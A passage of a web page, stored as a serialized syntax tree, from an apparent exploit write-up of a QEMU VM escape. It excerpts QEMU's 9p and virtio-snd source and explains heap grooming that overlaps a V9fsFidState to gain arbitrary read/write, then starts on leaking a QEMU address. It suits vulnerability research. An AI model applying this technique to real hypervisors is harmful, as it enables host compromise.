get_fid",{"type":23,"tag":41,"props":129338,"children":129339},{"style":70},[129340],{"type":28,"value":129341},"(pdu, fid);\n",{"type":23,"tag":41,"props":129343,"children":129344},{"class":43,"line":922},[129345],{"type":23,"tag":41,"props":129346,"children":129347},{"emptyLinePlaceholder":18},[129348],{"type":28,"value":82},{"type":23,"tag":41,"props":129350,"children":129351},{"class":43,"line":930},[129352],{"type":23,"tag":41,"props":129353,"children":129354},{"style":70},[129355],{"type":28,"value":104519},{"type":23,"tag":41,"props":129357,"children":129358},{"class":43,"line":939},[129359],{"type":23,"tag":41,"props":129360,"children":129361},{"emptyLinePlaceholder":18},[129362],{"type":28,"value":82},{"type":23,"tag":41,"props":129364,"children":129365},{"class":43,"line":947},[129366],{"type":23,"tag":41,"props":129367,"children":129368},{"style":48},[129369],{"type":28,"value":129370},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":41,"props":129372,"children":129373},{"class":43,"line":985},[129374,129379,129383],{"type":23,"tag":41,"props":129375,"children":129376},{"style":70},[129377],{"type":28,"value":129378},"    xattr_fidp ",{"type":23,"tag":41,"props":129380,"children":129381},{"style":170},[129382],{"type":28,"value":2381},{"type":23,"tag":41,"props":129384,"children":129385},{"style":70},[129386],{"type":28,"value":129387}," file_fidp;\n",{"type":23,"tag":41,"props":129389,"children":129390},{"class":43,"line":1058},[129391,129395,129399,129403,129407,129411,129415,129419,129423],{"type":23,"tag":41,"props":129392,"children":129393},{"style":858},[129394],{"type":28,"value":128212},{"type":23,"tag":41,"props":129396,"children":129397},{"style":70},[129398],{"type":28,"value":2453},{"type":23,"tag":41,"props":129400,"children":129401},{"style":858},[129402],{"type":28,"value":36977},{"type":23,"tag":41,"props":129404,"children":129405},{"style":70},[129406],{"type":28,"value":706},{"type":23,"tag":41,"props":129408,"children":129409},{"style":858},[129410],{"type":28,"value":128136},{"type":23,"tag":41,"props":129412,"children":129413},{"style":70},[129414],{"type":28,"value":706},{"type":23,"tag":41,"props":129416,"children":129417},{"style":858},[129418],{"type":28,"value":9136},{"type":23,"tag":41,"props":129420,"children":129421},{"style":170},[129422],{"type":28,"value":3017},{"type":23,"tag":41,"props":129424,"children":129425},{"style":70},[129426],{"type":28,"value":124320},{"type":23,"tag":41,"props":129428,"children":129429},{"class":43,"line":1084},[129430,129434,129438,129442,129446,129450,129454,129458,129462,129466],{"type":23,"tag":41,"props":129431,"children":129432},{"style":858},[129433],{"type":28,"value":128212},{"type":23,"tag":41,"props":129435,"children":129436},{"style":70},[129437],{"type":28,"value":2453},{"type":23,"tag":41,"props":129439,"children":129440},{"style":858},[129441],{"type":28,"value":36977},{"type":23,"tag":41,"props":129443,"children":129444},{"style":70},[129445],{"type":28,"value":706},{"type":23,"tag":41,"props":129447,"children":129448},{"style":858},[129449],{"type":28,"value":128136},{"type":23,"tag":41,"props":129451,"children":129452},{"style":70},[129453],{"type":28,"value":706},{"type":23,"tag":41,"props":129455,"children":129456},{"style":858},[129457],{"type":28,"value":1652},{"type":23,"tag":41,"props":129459,"children":129460},{"style":170},[129461],{"type":28,"value":3017},{"type":23,"tag":41,"props":129463,"children":129464},{"style":114},[129465],{"type":28,"value":123891},{"type":23,"tag":41,"props":129467,"children":129468},{"style":70},[129469],{"type":28,"value":128249},{"type":23,"tag":41,"props":129471,"children":129472},{"class":43,"line":1102},[129473],{"type":23,"tag":41,"props":129474,"children":129475},{"emptyLinePlaceholder":18},[129476],{"type":28,"value":82},{"type":23,"tag":41,"props":129478,"children":129479},{"class":43,"line":1110},[129480],{"type":23,"tag":41,"props":129481,"children":129482},{"style":70},[129483],{"type":28,"value":104519},{"type":23,"tag":24,"props":129485,"children":129486},{},[129487,129489,129495,129497,129502,129503,129508,129510,129515,129517,129523,129524,129530,129532,129537,129538,129543],{"type":28,"value":129488},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":37,"props":129490,"children":129492},{"className":129491},[],[129493],{"type":28,"value":129494},"V9fsFidState",{"type":28,"value":129496}," object. In other words, if we can place a ",{"type":23,"tag":37,"props":129498,"children":129500},{"className":129499},[],[129501],{"type":28,"value":129494},{"type":28,"value":7321},{"type":23,"tag":37,"props":129504,"children":129506},{"className":129505},[],[129507],{"type":28,"value":129063},{"type":28,"value":129509}," currently sits, the overlapping ",{"type":23,"tag":37,"props":129511,"children":129513},{"className":129512},[],[129514],{"type":28,"value":129071},{"type":28,"value":129516}," chunk can overwrite ",{"type":23,"tag":37,"props":129518,"children":129520},{"className":129519},[],[129521],{"type":28,"value":129522},"V9fsFidState.fs.xattr.value",{"type":28,"value":1361},{"type":23,"tag":37,"props":129525,"children":129527},{"className":129526},[],[129528],{"type":28,"value":129529},"V9fsFidState.fs.xattr.len",{"type":28,"value":129531},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":37,"props":129533,"children":129535},{"className":129534},[],[129536],{"type":28,"value":128325},{"type":28,"value":1361},{"type":23,"tag":37,"props":129539,"children":129541},{"className":129540},[],[129542],{"type":28,"value":128317},{"type":28,"value":706},{"type":23,"tag":24,"props":129545,"children":129546},{},[129547,129549,129554,129555,129560,129562,129567,129569,129575,129577,129582,129584,129589,129591,129596,129598,129603,129605,129610],{"type":28,"value":129548},"At this point, ",{"type":23,"tag":37,"props":129550,"children":129552},{"className":129551},[],[129553],{"type":28,"value":129063},{"type":28,"value":15435},{"type":23,"tag":37,"props":129556,"children":129558},{"className":129557},[],[129559],{"type":28,"value":127532},{"type":28,"value":129561}," chunk, while ",{"type":23,"tag":37,"props":129563,"children":129565},{"className":129564},[],[129566],{"type":28,"value":129494},{"type":28,"value":129568}," falls into the ",{"type":23,"tag":37,"props":129570,"children":129572},{"className":129571},[],[129573],{"type":28,"value":129574},"0x120",{"type":28,"value":129576}," size class. Before freeing ",{"type":23,"tag":37,"props":129578,"children":129580},{"className":129579},[],[129581],{"type":28,"value":129063},{"type":28,"value":129583},", we therefore use the oversized ",{"type":23,"tag":37,"props":129585,"children":129587},{"className":129586},[],[129588],{"type":28,"value":129071},{"type":28,"value":129590}," chunk to change its size to match ",{"type":23,"tag":37,"props":129592,"children":129594},{"className":129593},[],[129595],{"type":28,"value":129494},{"type":28,"value":129597},". Once ",{"type":23,"tag":37,"props":129599,"children":129601},{"className":129600},[],[129602],{"type":28,"value":129063},{"type":28,"value":129604}," is freed, it is inserted into the ",{"type":23,"tag":37,"props":129606,"children":129608},{"className":129607},[],[129609],{"type":28,"value":129574},{"type":28,"value":129611}," tcache bin.",{"type":23,"tag":31,"props":129613,"children":129615},{"code":129614},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[129616],{"type":23,"tag":37,"props":129617,"children":129618},{"__ignoreMap":7},[129619],{"type":28,"value":129614},{"type":23,"tag":24,"props":129621,"children":129622},{},[129623,129625,129630,129632,129638,129640,129646,129648,129653],{"type":28,"value":129624},"After that, we can simply allocate a new ",{"type":23,"tag":37,"props":129626,"children":129628},{"className":129627},[],[129629],{"type":28,"value":129494},{"type":28,"value":129631}," with a ",{"type":23,"tag":37,"props":129633,"children":129635},{"className":129634},[],[129636],{"type":28,"value":129637},"P9_TWALK",{"type":28,"value":129639}," request and a fresh FID - this reaches ",{"type":23,"tag":37,"props":129641,"children":129643},{"className":129642},[],[129644],{"type":28,"value":129645},"alloc_fid",{"type":28,"value":129647},", which allocates a new ",{"type":23,"tag":37,"props":129649,"children":129651},{"className":129650},[],[129652],{"type":28,"value":129494},{"type":28,"value":1474},{"type":23,"tag":31,"props":129655,"children":129657},{"code":129656,"language":3146,"meta":7,"className":16503,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[129658],{"type":23,"tag":37,"props":129659,"children":129660},{"__ignoreMap":7},[129661,129701,129708,129724,129752,129759,129766,129773,129794,129801,129816,129838,129862,129883,129894,129901,129939,129981,129988,129995,130002,130009,130016,130067,130074,130089,130096,130144,130156,130164,130193,130208,130215,130244,130251],{"type":23,"tag":41,"props":129662,"children":129663},{"class":43,"line":44},[129664,129668,129672,129676,129681,129685,129689,129693,129697],{"type":23,"tag":41,"props":129665,"children":129666},{"style":64},[129667],{"type":28,"value":51039},{"type":23,"tag":41,"props":129669,"children":129670},{"style":64},[129671],{"type":28,"value":51044},{"type":23,"tag":41,"props":129673,"children":129674},{"style":70},[129675],{"type":28,"value":127662},{"type":23,"tag":41,"props":129677,"children":129678},{"style":114},[129679],{"type":28,"value":129680},"v9fs_walk",{"type":23,"tag":41,"props":129682,"children":129683},{"style":70},[129684],{"type":28,"value":1737},{"type":23,"tag":41,"props":129686,"children":129687},{"style":64},[129688],{"type":28,"value":51622},{"type":23,"tag":41,"props":129690,"children":129691},{"style":170},[129692],{"type":28,"value":9814},{"type":23,"tag":41,"props":129694,"children":129695},{"style":858},[129696],{"type":28,"value":127684},{"type":23,"tag":41,"props":129698,"children":129699},{"style":70},[129700],{"type":28,"value":1969},{"type":23,"tag":41,"props":129702,"children":129703},{"class":43,"line":54},[129704],{"type":23,"tag":41,"props":129705,"children":129706},{"style":70},[129707],{"type":28,"value":1559},{"type":23,"tag":41,"props":129709,"children":129710},{"class":43,"line":76},[129711,129715,129719],{"type":23,"tag":41,"props":129712,"children":129713},{"style":70},[129714],{"type":28,"value":127809},{"type":23,"tag":41,"props":129716,"children":129717},{"style":170},[129718],{"type":28,"value":377},{"type":23,"tag":41,"props":129720,"children":129721},{"style":70},[129722],{"type":28,"value":129723},"fidp;\n",{"type":23,"tag":41,"props":129725,"children":129726},{"class":43,"line":85},[129727,129731,129735,129740,129744,129748],{"type":23,"tag":41,"props":129728,"children":129729},{"style":70},[129730],{"type":28,"value":127809},{"type":23,"tag":41,"props":129732,"children":129733},{"style":170},[129734],{"type":28,"value":377},{"type":23,"tag":41,"props":129736,"children":129737},{"style":70},[129738],{"type":28,"value":129739},"newfidp ",{"type":23,"tag":41,"props":129741,"children":129742},{"style":170},[129743],{"type":28,"value":2381},{"type":23,"tag":41,"props":129745,"children":129746},{"style":64},[129747],{"type":28,"value":127488},{"type":23,"tag":41,"props":129749,"children":129750},{"style":70},[129751],{"type":28,"value":183},{"type":23,"tag":41,"props":129753,"children":129754},{"class":43,"line":105},[129755],{"type":23,"tag":41,"props":129756,"children":129757},{"emptyLinePlaceholder":18},[129758],{"type":28,"value":82},{"type":23,"tag":41,"props":129760,"children":129761},{"class":43,"line":155},[129762],{"type":23,"tag":41,"props":129763,"children":129764},{"style":70},[129765],{"type":28,"value":104519},{"type":23,"tag":41,"props":129767,"children":129768},{"class":43,"line":186},[129769],{"type":23,"tag":41,"props":129770,"children":129771},{"emptyLinePlaceholder":18},[129772],{"type":28,"value":82},{"type":23,"tag":41,"props":129774,"children":129775},{"class":43,"line":195},[129776,129780,129785,129789],{"type":23,"tag":41,"props":129777,"children":129778},{"style":58},[129779],{"type":28,"value":2440},{"type":23,"tag":41,"props":129781,"children":129782},{"style":70},[129783],{"type":28,"value":129784}," (fid ",{"type":23,"tag":41,"props":129786,"children":129787},{"style":170},[129788],{"type":28,"value":387},{"type":23,"tag":41,"props":129790,"children":129791},{"style":70},[129792],{"type":28,"value":129793}," newfid) {\n",{"type":23,"tag":41,"props":129795,"children":129796},{"class":43,"line":905},[129797],{"type":23,"tag":41,"props":129798,"children":129799},{"style":70},[129800],{"type":28,"value":123757},{"type":23,"tag":41,"props":129802,"children":129803},{"class":43,"line":922},[129804,129808,129812],{"type":23,"tag":41,"props":129805,"children":129806},{"style":70},[129807],{"type":28,"value":15768},{"type":23,"tag":41,"props":129809,"children":129810},{"style":58},[129811],{"type":28,"value":3315},{"type":23,"tag":41,"props":129813,"children":129814},{"style":70},[129815],{"type":28,"value":102},{"type":23,"tag":41,"props":129817,"children":129818},{"class":43,"line":930},[129819,129824,129828,129833],{"type":23,"tag":41,"props":129820,"children":129821},{"style":70},[129822],{"type":28,"value":129823},"        newfidp ",{"type":23,"tag":41,"props":129825,"children":129826},{"style":170},[129827],{"type":28,"value":2381},{"type":23,"tag":41,"props":129829,"children":129830},{"style":114},[129831],{"type":28,"value":129832}," alloc_fid",{"type":23,"tag":41,"props":129834,"children":129835},{"style":70},[129836],{"type":28,"value":129837},"(s, newfid);\n",{"type":23,"tag":41,"props":129839,"children":129840},{"class":43,"line":939},[129841,129845,129850,129854,129858],{"type":23,"tag":41,"props":129842,"children":129843},{"style":58},[129844],{"type":28,"value":3272},{"type":23,"tag":41,"props":129846,"children":129847},{"style":70},[129848],{"type":28,"value":129849}," (newfidp ",{"type":23,"tag":41,"props":129851,"children":129852},{"style":170},[129853],{"type":28,"value":387},{"type":23,"tag":41,"props":129855,"children":129856},{"style":64},[129857],{"type":28,"value":127488},{"type":23,"tag":41,"props":129859,"children":129860},{"style":70},[129861],{"type":28,"value":152},{"type":23,"tag":41,"props":129863,"children":129864},{"class":43,"line":947},[129865,129870,129874,129878],{"type":23,"tag":41,"props":129866,"children":129867},{"style":70},[129868],{"type":28,"value":129869},"            err ",{"type":23,"tag":41,"props":129871,"children":129872},{"style":170},[129873],{"type":28,"value":2381},{"type":23,"tag":41,"props":129875,"children":129876},{"style":170},[129877],{"type":28,"value":51250},{"type":23,"tag":41,"props":129879,"children":129880},{"style":70},[129881],{"type":28,"value":129882},"EINVAL;\n",{"type":23,"tag":41,"props":129884,"children":129885},{"class":43,"line":985},[129886,129890],{"type":23,"tag":41,"props":129887,"children":129888},{"style":58},[129889],{"type":28,"value":60546},{"type":23,"tag":41,"props":129891,"children":129892},{"style":70},[129893],{"type":28,"value":60551},{"type":23,"tag":41,"props":129895,"children":129896},{"class":43,"line":1058},[129897],{"type":23,"tag":41,"props":129898,"children":129899},{"style":70},[129900],{"type":28,"value":3347},{"type":23,"tag":41,"props":129902,"children":129903},{"class":43,"line":1084},[129904,129909,129913,129918,129922,129927,129931,129935],{"type":23,"tag":41,"props":129905,"children":129906},{"style":858},[129907],{"type":28,"value":129908},"        newfidp",{"type":23,"tag":41,"props":129910,"children":129911},{"style":70},[129912],{"type":28,"value":2453},{"type":23,"tag":41,"props":129914,"children":129915},{"style":858},[129916],{"type":28,"value":129917},"uid",{"type":23,"tag":41,"props":129919,"children":129920},{"style":170},[129921],{"type":28,"value":3017},{"type":23,"tag":41,"props":129923,"children":129924},{"style":858},[129925],{"type":28,"value":129926}," fidp",{"type":23,"tag":41,"props":129928,"children":129929},{"style":70},[129930],{"type":28,"value":2453},{"type":23,"tag":41,"props":129932,"children":129933},{"style":858},[129934],{"type":28,"value":129917},{"type":23,"tag":41,"props":129936,"children":129937},{"style":70},[129938],{"type":28,"value":183},{"type":23,"tag":41,"props":129940,"children":129941},{"class":43,"line":1102},[129942,129947,129951,129955,129960,129964,129968,129972,129976],{"type":23,"tag":41,"props":129943,"children":129944},{"style":114},[129945],{"type":28,"value":129946},"        v9fs_path_copy",{"type":23,"tag":41,"props":129948,"children":129949},{"style":70},[129950],{"type":28,"value":1737},{"type":23,"tag":41,"props":129952,"children":129953},{"style":170},[129954],{"type":28,"value":855},{"type":23,"tag":41,"props":129956,"children":129957},{"style":858},[129958],{"type":28,"value":129959},"newfidp",{"type":23,"tag":41,"props":129961,"children":129962},{"style":70},[129963],{"type":28,"value":2453},{"type":23,"tag":41,"props":129965,"children":129966},{"style":858},[129967],{"type":28,"value":112042},{"type":23,"tag":41,"props":129969,"children":129970},{"style":70},[129971],{"type":28,"value":970},{"type":23,"tag":41,"props":129973,"children":129974},{"style":170},[129975],{"type":28,"value":855},{"type":23,"tag":41,"props":129977,"children":129978},{"style":70},[129979],{"type":28,"value":129980},"path);\n",{"type":23,"tag":41,"props":129982,"children":129983},{"class":43,"line":1110},[129984],{"type":23,"tag":41,"props":129985,"children":129986},{"style":70},[129987],{"type":28,"value":192},{"type":23,"tag":41,"props":129989,"children":129990},{"class":43,"line":1118},[129991],{"type":23,"tag":41,"props":129992,"children":129993},{"emptyLinePlaceholder":18},[129994],{"type":28,"value":82},{"type":23,"tag":41,"props":129996,"children":129997},{"class":43,"line":1137},[129998],{"type":23,"tag":41,"props":129999,"children":130000},{"style":70},[130001],{"type":28,"value":104519},{"type":23,"tag":41,"props":130003,"children":130004},{"class":43,"line":1163},[130005],{"type":23,"tag":41,"props":130006,"children":130007},{"style":70},[130008],{"type":28,"value":201},{"type":23,"tag":41,"props":130010,"children":130011},{"class":43,"line":1188},[130012],{"type":23,"tag":41,"props":130013,"children":130014},{"emptyLinePlaceholder":18},[130015],{"type":28,"value":82},{"type":23,"tag":41,"props":130017,"children":130018},{"class":43,"line":1979},[130019,130023,130028,130032,130036,130041,130045,130049,130053,130058,130063],{"type":23,"tag":41,"props":130020,"children":130021},{"style":64},[130022],{"type":28,"value":51039},{"type":23,"tag":41,"props":130024,"children":130025},{"style":70},[130026],{"type":28,"value":130027}," V9fsFidState ",{"type":23,"tag":41,"props":130029,"children":130030},{"style":170},[130031],{"type":28,"value":377},{"type":23,"tag":41,"props":130033,"children":130034},{"style":114},[130035],{"type":28,"value":129645},{"type":23,"tag":41,"props":130037,"children":130038},{"style":70},[130039],{"type":28,"value":130040},"(V9fsState ",{"type":23,"tag":41,"props":130042,"children":130043},{"style":170},[130044],{"type":28,"value":377},{"type":23,"tag":41,"props":130046,"children":130047},{"style":858},[130048],{"type":28,"value":10649},{"type":23,"tag":41,"props":130050,"children":130051},{"style":70},[130052],{"type":28,"value":970},{"type":23,"tag":41,"props":130054,"children":130055},{"style":64},[130056],{"type":28,"value":130057},"int32_t",{"type":23,"tag":41,"props":130059,"children":130060},{"style":858},[130061],{"type":28,"value":130062}," fid",{"type":23,"tag":41,"props":130064,"children":130065},{"style":70},[130066],{"type":28,"value":1969},{"type":23,"tag":41,"props":130068,"children":130069},{"class":43,"line":2002},[130070],{"type":23,"tag":41,"props":130071,"children":130072},{"style":70},[130073],{"type":28,"value":1559},{"type":23,"tag":41,"props":130075,"children":130076},{"class":43,"line":3835},[130077,130081,130085],{"type":23,"tag":41,"props":130078,"children":130079},{"style":70},[130080],{"type":28,"value":127809},{"type":23,"tag":41,"props":130082,"children":130083},{"style":170},[130084],{"type":28,"value":377},{"type":23,"tag":41,"props":130086,"children":130087},{"style":70},[130088],{"type":28,"value":51160},{"type":23,"tag":41,"props":130090,"children":130091},{"class":43,"line":3895},[130092],{"type":23,"tag":41,"props":130093,"children":130094},{"emptyLinePlaceholder":18},[130095],{"type":28,"value":82},{"type":23,"tag":41,"props":130097,"children":130098},{"class":43,"line":9044},[130099,130104,130108,130113,130117,130121,130125,130130,130134,130139],{"type":23,"tag":41,"props":130100,"children":130101},{"style":70},[130102],{"type":28,"value":130103},"    f ",{"type":23,"tag":41,"props":130105,"children":130106},{"style":170},[130107],{"type":28,"value":2381},{"type":23,"tag":41,"props":130109,"children":130110},{"style":114},[130111],{"type":28,"value":130112}," g_hash_table_lookup",{"type":23,"tag":41,"props":130114,"children":130115},{"style":70},[130116],{"type":28,"value":1737},{"type":23,"tag":41,"props":130118,"children":130119},{"style":858},[130120],{"type":28,"value":10649},{"type":23,"tag":41,"props":130122,"children":130123},{"style":70},[130124],{"type":28,"value":2453},{"type":23,"tag":41,"props":130126,"children":130127},{"style":858},[130128],{"type":28,"value":130129},"fids",{"type":23,"tag":41,"props":130131,"children":130132},{"style":70},[130133],{"type":28,"value":970},{"type":23,"tag":41,"props":130135,"children":130136},{"style":114},[130137],{"type":28,"value":130138},"GINT_TO_POINTER",{"type":23,"tag":41,"props":130140,"children":130141},{"style":70},[130142],{"type":28,"value":130143},"(fid));\n",{"type":23,"tag":41,"props":130145,"children":130146},{"class":43,"line":9061},[130147,130151],{"type":23,"tag":41,"props":130148,"children":130149},{"style":58},[130150],{"type":28,"value":2440},{"type":23,"tag":41,"props":130152,"children":130153},{"style":70},[130154],{"type":28,"value":130155}," (f) {\n",{"type":23,"tag":41,"props":130157,"children":130158},{"class":43,"line":9106},[130159],{"type":23,"tag":41,"props":130160,"children":130161},{"style":48},[130162],{"type":28,"value":130163},"        /* If fid is already there return NULL */\n",{"type":23,"tag":41,"props":130165,"children":130166},{"class":43,"line":9212},[130167,130172,130176,130180,130184,130189],{"type":23,"tag":41,"props":130168,"children":130169},{"style":114},[130170],{"type":28,"value":130171},"        BUG_ON",{"type":23,"tag":41,"props":130173,"children":130174},{"style":70},[130175],{"type":28,"value":1737},{"type":23,"tag":41,"props":130177,"children":130178},{"style":858},[130179],{"type":28,"value":33078},{"type":23,"tag":41,"props":130181,"children":130182},{"style":70},[130183],{"type":28,"value":2453},{"type":23,"tag":41,"props":130185,"children":130186},{"style":858},[130187],{"type":28,"value":130188},"clunked",{"type":23,"tag":41,"props":130190,"children":130191},{"style":70},[130192],{"type":28,"value":3825},{"type":23,"tag":41,"props":130194,"children":130195},{"class":43,"line":23496},[130196,130200,130204],{"type":23,"tag":41,"props":130197,"children":130198},{"style":58},[130199],{"type":28,"value":161},{"type":23,"tag":41,"props":130201,"children":130202},{"style":64},[130203],{"type":28,"value":127488},{"type":23,"tag":41,"props":130205,"children":130206},{"style":70},[130207],{"type":28,"value":183},{"type":23,"tag":41,"props":130209,"children":130210},{"class":43,"line":23531},[130211],{"type":23,"tag":41,"props":130212,"children":130213},{"style":70},[130214],{"type":28,"value":192},{"type":23,"tag":41,"props":130216,"children":130217},{"class":43,"line":23539},[130218,130222,130226,130231,130236,130240],{"type":23,"tag":41,"props":130219,"children":130220},{"style":70},[130221],{"type":28,"value":130103},{"type":23,"tag":41,"props":130223,"children":130224},{"style":170},[130225],{"type":28,"value":2381},{"type":23,"tag":41,"props":130227,"children":130228},{"style":114},[130229],{"type":28,"value":130230}," g_new0",{"type":23,"tag":41,"props":130232,"children":130233},{"style":70},[130234],{"type":28,"value":130235},"(V9fsFidState, ",{"type":23,"tag":41,"props":130237,"children":130238},{"style":164},[130239],{"type":28,"value":317},{"type":23,"tag":41,"props":130241,"children":130242},{"style":70},[130243],{"type":28,"value":3825},{"type":23,"tag":41,"props":130245,"children":130246},{"class":43,"line":23547},[130247],{"type":23,"tag":41,"props":130248,"children":130249},{"emptyLinePlaceholder":18},[130250],{"type":28,"value":82},{"type":23,"tag":41,"props":130252,"children":130253},{"class":43,"line":23556},[130254],{"type":23,"tag":41,"props":130255,"children":130256},{"style":70},[130257],{"type":28,"value":104519},{"type":23,"tag":24,"props":130259,"children":130260},{},[130261,130263,130268],{"type":28,"value":130262},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":37,"props":130264,"children":130266},{"className":130265},[],[130267],{"type":28,"value":129063},{"type":28,"value":128400},{"type":23,"tag":31,"props":130270,"children":130272},{"code":130271},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[130273],{"type":23,"tag":37,"props":130274,"children":130275},{"__ignoreMap":7},[130276],{"type":28,"value":130271},{"type":23,"tag":18881,"props":130278,"children":130280},{"id":130279},"leaking-a-qemu-address",[130281],{"type":28,"value":130282},"Leaking a QEMU Address",{"type":23,"tag":24,"props":130284,"children":130285},{},[130286],{"type":28,"value":130287},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":130289,"children":130290},{},[130291,130293,130298],{"type":28,"value":130292},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":37,"props":130294,"children":130296},{"className":130295},[],[130297],{"type":28,"value":123483},{"type":28,"value":1474},{"type":23,"tag":31,"props":130300,"children":130302},{"code":130301,"language":3146,"meta":7,"className":16503,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[130303],{"type":23,"tag":37,"props":130304,"children":130305},{"__ignoreMap":7},[130306,130349,130356,130387,130402,130417,130429,130442,130449,130456,130463,130474,130489,130496,130524,130543,130554,130561,130569,130606,130627,130639,130652,130665,130691,130703,130710,130748,130755,130762,130769,130800,130855,130867,130908,130931,130960,130987,131014,131046],{"type":23,"tag":41,"props":130307,"children":130308},{"class":43,"line":44},[130309,130313,130317,130321,130325,130329,130333,130337,130341,130345],{"type":23,"tag":41,"props":130310,"children":130311},{"style":64},[130312],{"type":28,"value":51039},{"type":23,"tag":41,"props":130314,"children":130315},{"style":64},[130316],{"type":28,"value":51044},{"type":23,"tag":41,"props":130318,"children":130319},{"style":114},[130320],{"type":28,"value":123562},{"type":23,"tag":41,"props":130322,"children":130323},{"style":70},[130324],{"type":28,"value":123567},{"type":23,"tag":41,"props":130326,"children":130327},{"style":170},[130328],{"type":28,"value":377},{"type":23,"tag":41,"props":130330,"children":130331},{"style":858},[130332],{"type":28,"value":123576},{"type":23,"tag":41,"props":130334,"children":130335},{"style":70},[130336],{"type":28,"value":123581},{"type":23,"tag":41,"props":130338,"children":130339},{"style":170},[130340],{"type":28,"value":377},{"type":23,"tag":41,"props":130342,"children":130343},{"style":858},[130344],{"type":28,"value":123590},{"type":23,"tag":41,"props":130346,"children":130347},{"style":70},[130348],{"type":28,"value":1969},{"type":23,"tag":41,"props":130350,"children":130351},{"class":43,"line":54},[130352],{"type":23,"tag":41,"props":130353,"children":130354},{"style":70},[130355],{"type":28,"value":1559},{"type":23,"tag":41,"props":130357,"children":130358},{"class":43,"line":76},[130359,130364,130368,130373,130377,130382],{"type":23,"tag":41,"props":130360,"children":130361},{"style":70},[130362],{"type":28,"value":130363},"    VirtIOSound ",{"type":23,"tag":41,"props":130365,"children":130366},{"style":170},[130367],{"type":28,"value":377},{"type":23,"tag":41,"props":130369,"children":130370},{"style":70},[130371],{"type":28,"value":130372},"vsnd ",{"type":23,"tag":41,"props":130374,"children":130375},{"style":170},[130376],{"type":28,"value":2381},{"type":23,"tag":41,"props":130378,"children":130379},{"style":114},[130380],{"type":28,"value":130381}," VIRTIO_SND",{"type":23,"tag":41,"props":130383,"children":130384},{"style":70},[130385],{"type":28,"value":130386},"(vdev);\n",{"type":23,"tag":41,"props":130388,"children":130389},{"class":43,"line":85},[130390,130394,130398],{"type":23,"tag":41,"props":130391,"children":130392},{"style":70},[130393],{"type":28,"value":124580},{"type":23,"tag":41,"props":130395,"children":130396},{"style":170},[130397],{"type":28,"value":377},{"type":23,"tag":41,"props":130399,"children":130400},{"style":70},[130401],{"type":28,"value":124589},{"type":23,"tag":41,"props":130403,"children":130404},{"class":43,"line":105},[130405,130409,130413],{"type":23,"tag":41,"props":130406,"children":130407},{"style":70},[130408],{"type":28,"value":123609},{"type":23,"tag":41,"props":130410,"children":130411},{"style":170},[130412],{"type":28,"value":377},{"type":23,"tag":41,"props":130414,"children":130415},{"style":70},[130416],{"type":28,"value":123618},{"type":23,"tag":41,"props":130418,"children":130419},{"class":43,"line":155},[130420,130424],{"type":23,"tag":41,"props":130421,"children":130422},{"style":64},[130423],{"type":28,"value":16553},{"type":23,"tag":41,"props":130425,"children":130426},{"style":70},[130427],{"type":28,"value":130428}," msg_sz, size;\n",{"type":23,"tag":41,"props":130430,"children":130431},{"class":43,"line":186},[130432,130437],{"type":23,"tag":41,"props":130433,"children":130434},{"style":64},[130435],{"type":28,"value":130436},"    uint32_t",{"type":23,"tag":41,"props":130438,"children":130439},{"style":70},[130440],{"type":28,"value":130441}," 